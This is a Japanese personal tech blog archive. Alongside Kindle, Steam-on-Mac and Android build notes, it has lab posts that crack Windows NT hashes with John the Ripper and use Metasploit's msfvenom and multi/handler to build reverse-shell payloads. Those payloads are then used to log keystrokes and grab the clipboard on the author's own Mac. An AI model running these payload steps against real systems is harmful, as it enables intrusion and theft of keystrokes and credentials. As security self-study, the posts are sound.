2024年3月28日木曜日

Kindle for Mac はシステム側の言語が英語になっている場合に Amazon.com に接続してしまう

Kindle for Mac はシステム側の言語が英語になっている場合に Amazon.com に接続してしまう

概要

その場合の対象方法を紹介します

環境

  • macOS 14.4
  • Amazon Kindle 7.4

対処方法

System Settings -> Language & Region の Applications に Kindle アプリを追加する

Kindle アプリから一度ログアウトし再起動する

するとちゃんとログイン画面も日本語になり接続先も Amazon.co.jp になります
ログインするとスマホ側の Kindle や SMS でログイン通知が来ると思います

最後に

システム側のデフォルト言語を英語にしている場合は Amazon.com に接続に行ってしまうようなので注意しましょう

携帯番号の設定やメールアドレスを co.jp と .com で分ける方法もあるようですが一番てっとり早いのは Language & Region を使う方法かなと思います

参考サイト

2024年3月27日水曜日

Windows11 で取得したパスワードハッシュがなぜか John the ripper で解析できない場合の原因

Windows11 で取得したパスワードハッシュがなぜか John the ripper で解析できない場合の原因

概要

タイトルの通りです
原因を紹介します

環境

  • macOS 14.4
  • John the ripper 1.9.0

現象

john コマンドを使って解析し --show で結果を確認してもなぜかハッシュ値が表示されてしまいます
password.lst には当たりのパスワードを入力済みです

  • john --wordlist=./password.lst --format=nt ./hash.txt

hash.txt の内容は以下の通りです

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user01:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

これで解析後に --show を実行してもなぜか上記のハッシュ情報だけが表示されます
結果には 4 password hashes cracked, 0 left と表示されています

原因

どうやらセキュリティ対策でパスワードハッシュを取得すると必ず空文字のハッシュが返るようになっているようです
以下が空文字のハッシュ値です

aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

比較的新しいパッチが当たった Windows10 or Windows11 の場合にこうなってしまうようなのでパスワードハッシュの解析を John the ripper でしたい場合には Windows7 などを用意しましょう

Tips: 再度解析する場合は

キャッシュファイルを削除しましょう

  • rm ~/.john/john.pot

最後に

正しいパスワードハッシュを得る方法はあるのだろうか

参考サイト

2024年3月25日月曜日

M2 Pro mac mini で Steam の Windows ゲームを動かす方法

M2 Pro mac mini で Steam の Windows ゲームを動かす方法

概要

whiskyというアプリを使います

環境

  • macOS 14.4
  • whisky 2.2.3

whisky のインストール

  • brew install --cask whisky

whisky 起動

アプリケーションの一覧から起動します

Mac のメイン言語を英語にする

https://github.com/Whisky-App/Whisky/issues/237

これが結構重要です
もし日本語で進めると Steam のセットアップで失敗します

セットアップ

次へをクリックすると GPTK のインストールが始まります

インストールが完了するまで待ちましょう

ダウンロードが完了したらセットアップは完了です

Steam のインストール

まずは Windows 版の steam をダウンロードします
ここから Windows マークをクリックして SteamSetup.exe をダウンロードします

Whisky に戻り Bottle を作成します

Bottle 名を入力し作成をクリックします

C: ドライブを開くを選択し Whisky が管理しているディレクトリ配下にダウンロードした SteamSetup.exe を配置します
そして実行から SteamSetup.exe を実行します

Steam のセットアップ画面が表示されればあとは通常通りインストールします

写真は日本語表示ですが本来は Mac のシステム言語を英語にしているので英語表示が正しいです

動作確認

あとは Steam が起動するのでログインしてライブラリから Windows ゲームをインストールし起動するか確認しましょう

またインストールした steam.exe は drive_c/Program Files (x86)/Steam/steam.exe にあるのでこの exe は Pin に追加しておくと良いでしょう

終了する場合は

whisky を終了しても steam は起動し続けてしまうのでツールバーにある Steam の表示から Exit しましょう

最後に

whisky を使って Mac 上で Windows 用の Steam ゲームを動かしてみました
特定のアプリだけであれば VM を作成して動かすよりも簡単にできます

ポイントは Mac 自体のシステム言語を英語にする点です

参考サイト

2024年3月23日土曜日

Android アプリを久しぶりにビルドしたときのメモ

Android アプリを久しぶりにビルドしたときのメモ

概要

シミュレーターで動作するまでにいろいろとエラーを解消する必要があったのでメモしておきます
正直出過ぎるので都度対応するのが面倒な場合は一から書き直したほうが最新のプロジェクト構成にもなるので良いかなと思います

環境

  • macOS 14.4
  • Android Studio Iguana
  • コード最終コミット 2018/10/2

gradle plugin のバージョンの指定

エラー

A problem occurred evaluating project ':app'.

解決方法

build.gradle で gradle のバージョン部分を修正する
File -> Project Structure -> Project からでも OK

agp_version = '8.3.1'

distributionUrlの設定

エラー

Minimum supported Gradle version is 8.4. Current version is 8.2.

解決方法

./gradle/wrapper/gradle-wrapper.properties を作成し以下を記載する

distributionUrl=https\://services.gradle.org/distributions/gradle-8.4-all.zip

namespace の指定がない

エラー

Namespace not specified. Specify a namespace in the module's build file.

解決方法

app/build.gradle への namespace ディレクティブの追加

android {
    namespace "com.example.myapp"

Suggestions のアップデート

エラー

  • 不明

解決方法

File -> Project Structure -> Suggestions から表示されている Update を適用すれば OK

この段階で gradle ビルドは成功した
以下は実行時に発生したエラーへの対処方法

AndroidX へのマイグレーション

エラー

Caused by: com.android.builder.errors.EvalIssueException: Configuration `:app:debugRuntimeClasspath` contains AndroidX dependencies, but the `android.useAndroidX` property is not enabled, which may cause runtime issues.

解決方法

./gradle.properties の作成と以下の追記

android.useAndroidX=true
android.enableJetifier=true

コードの AnroidX へのマイグレーション

エラー

import android.support.v7.app.AppCompatActivity がないなどのエラー多数

解決方法

なぜか Iguana には Migrate to AndroidX の機能がないので shell スクリプトを使う

#!/usr/bin/env bash

# I've found that the "Migrate to AndroidX" converter in Android Studio doesn't work very
# well, so I wrote my own script to do the simple job of converting package names.
#
# You can download a CSV of package names here: https://developer.android.com/topic/libraries/support-library/downloads/androidx-class-mapping.csv
#
# It'll run faster on a clean build because then there are fewer files to scan over.
#
# Uses `gsed` because I'm on a Mac. Can easily replace with `sed` if you don't have `gsed`.
# 
# This isn't perfect; it won't find every conversion issue. You break it you buy it. Viewer discretion is advised.

MAPPING_FILE=~/Downloads/androidx-class-mapping.csv
PROJECT_DIR=~/data/repo/android-fndic

replace=""
while IFS=, read -r from to
do
        replace+="; s/$from/$to/g"
done <<< "$(cat $MAPPING_FILE)"

find $PROJECT_DIR \( -name "*.kt" -o -name "*.java" -o -name "*.xml" \) -type f -not -path '*/\.git*' -print0 | xargs -0 gsed -i "$replace"

package 定義の削除

エラー

Setting the namespace via the package attribute in the source AndroidManifest.xml is no longer supported.

解決策

AndroidManifest.xml から package を削除

SDK バージョン修正

エラー

A failure occurred while executing com.android.build.gradle.internal.tasks.CheckAarMetadataWorkAction

上記プラス指定のバージョンが小さすぎるという旨の英語のエラーが出たはず

解決策

app/build.gradle への minSdkVersion と targetSdkVersion の修正

minSdkVersion 21
targetSdkVersion 34

AndroidManifest.xml の activity に android:exported の追加

エラー

android:exported needs to be explicitly specified for element

解決策

android:exported="true"

google-services のアップデート

エラー

Type 'com.google.gms.googleservices.GoogleServicesTask' field 'quickstartFile'

解決策

build.gradle 修正

classpath 'com.google.gms:google-services:4.4.1'
mavenCentral()

コードリファクタ

エラー

error: package R does not exist
error: cannot find symbol addTestDevice

など

解決方法

基本はリファクタ機能を使えば OK
Admob に関しては参考サイトの URL の通りにバナー広告などを設置する

Admob 修正

エラー

Missing application ID. AdMob publishers should follow the instructions

解決方法

https://developers.google.com/admob/android/quick-start?hl=ja#import_the_mobile_ads_sdk

AndroidManifest.xml に APPLICATION_ID を追記する

Admonb 修正2

エラー

The ad unit ID can only be set once on AdView.

解決策

xml 側とコード側で2回広告IDをセットしている場合はどちらかを削除する

adView.setAdUnitId("ca-pub-xxx")

アプリビルド時の Signing の修正

エラー

Android App Bundle をアップロードするには、Play App Signing に登録している必要があります。

解決策

公開鍵と pepk.jar をダウンロードし秘密鍵を生成
秘密鍵は Google Play にアップロード
公開鍵 (encryption_public_key.pem) は Google Play からダウンロード可能
これを使ってアプリに Signing する
keystore がない場合は Android Studio で作成する

  • java -jar pepk.jar --keystore=app.crt --alias=foo --output=app.key --rsa-aes-encryption --encryption-key-path=encryption_public_key.pem

最後に

アプリのプロジェクトは常に最新バージョンに対応しておかないと大変なことになります

参考サイト

2024年3月22日金曜日

Mestasploit msfconsole インストール時のトラブルシューティング

Mestasploit msfconsole インストール時のトラブルシューティング

概要

Intel Mac に Metasploit をインストールし msfconsole を起動する際にいろいろと手間取ったのでトラブルシューティングを紹介します

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

Could not find rake-13.0.6 in any of the sources

rbenv をインストールしている環境だと出る可能性がありそうです
なぜか 3.0.5 で固定されているので修正します

  • cd /opt/metasploit-framework/embedded/framework

最新に合わせたり指定のバージョンを変更する場合は以下です

  • sudo rbenv local system

rbenv を使っていない場合は削除しましょう

  • sudo rm .ruby-version

そして

  • sudo bundle install

pg のインストールに失敗

  • brew install libpq
  • bundle config build.pg --with-pg-config=/usr/local/opt/libpq/bin/pg_config
  • sudo bundle install

msfconsole の実行パスを変える

/opt/metasploit-framework/embedded/framework ができればここに msfconsole がインストールされるのでここで実行するとうまく起動できます

  • cd /opt/metasploit-framework/embedded/framework
  • bundle exec msfconsole

また msf6 コンソールになった場合は msfvenom などのコマンドは

  • bundle exec msfvenom

という感じで実行しましょう

最後に

M2 mac の際には出なかったので環境による差異なのかなと思います
基本は Ruby 周りのトラブルシューティングをすれば OK です

2024年3月21日木曜日

Mac でキーロガー

Mac でキーロガー

概要

Metasploit を使って Mac でキーロガーを試してみました

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

起動

  • bundle exec msfconsole

リバースシェル用スクリプト作成

  • bundle exec msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.2 -f raw -o /path/to/test.sh

Mac 側待ち受け

-j を付与してバックグランドセッションにします

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit -j 

[*] Started reverse TCP handler on 192.168.1.2:4444

リバースシェル実行

キーロガーをされる側に生成した

test.sh
を配置して実行しましょう
テストのため同一ホストでも OK です

  • chmod +x /path/to/test.sh
  • ./path/to/test.sh

キーロガー post の実行

先ほどバックグラウンドで接続したセッションを使って post/osx/capture/keylog_recorder を実行します

msf6 post(osx/capture/keylog_recorder) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  5         shell cmd/unix               192.168.1.2:4444 -> 192.168.1.2:61502 (192.168.1.2)

msf6 post(osx/capture/keylog_recorder) > use post/osx/capture/keylog_recorder
msf6 post(osx/capture/keylog_recorder) > set SESSION 5
SESSION => 5
msf6 post(osx/capture/keylog_recorder) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: unix. This module works with: OSX.
[*] Executing ruby command to start keylogger process.
[*] Ruby process executing with pid 13679
[*] Entering read loop
[*] Waiting 10 seconds.

ログファイルは /Users/hawk/.msf4/loot/20240314115337_default_192.168.1.2_keylog_742643.txt という感じのファイルで保存されます

最後に

Metaexploit を使って Mac でキーロガーする方法を試してみました
一度セッションを確立したあとで別の post を実行するのがポイントです

ログファイルを見ると ctrl や enter は取得できているようですが普通のキーは cmd という感じで表示されるのでこれが普通のキーで表示する方法が不明でした

参考サイト

2024年3月20日水曜日

Mac で meterpreter を使ったリバースシェルを行う

Mac で meterpreter を使ったリバースシェルを行う

概要

meterpreter ターミナルが使えほうがいろいろ便利なのでやってみました

環境

  • macOS 11.7.10
  • Metasploit 6.3.60

mach-o ファイルの作成

  • bundle exec msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.2 -f macho -o /path/to/test.macho

Mac 側待ち受け

msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.2:4444

mach-o ファイル起動

  • chmod +x test.macho
  • ./test.macho

動作確認

[*] Meterpreter session 7 opened (192.168.1.2:4444 -> 192.168.1.2:62110) at 2024-03-14 12:46:47 +0900

meterpreter > getuid
Server username: user01
meterpreter > sysinfo
Computer     : test.local
OS           : macOS Big Sur (macOS 11.7.10)
Architecture : x86
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > keyscan_start
[-] The "keyscan_start" command is not supported by this Meterpreter type (x64/osx)

keyscan_start は使えないようです
クリップボードの取得はできそうです

meterpreter > load extapi
Loading extension extapi...Success.

meterpreter > clipboard_get_data
Text captured at 
=================
test.sh
=================

最後に

Mac でリバースシェルの際に meterpreter モードで接続する方法を紹介しました
おそらく shell 方式ではできないので meterpreter を使いたい場合は mach-o ファイルとペイロードを使いましょう

参考サイト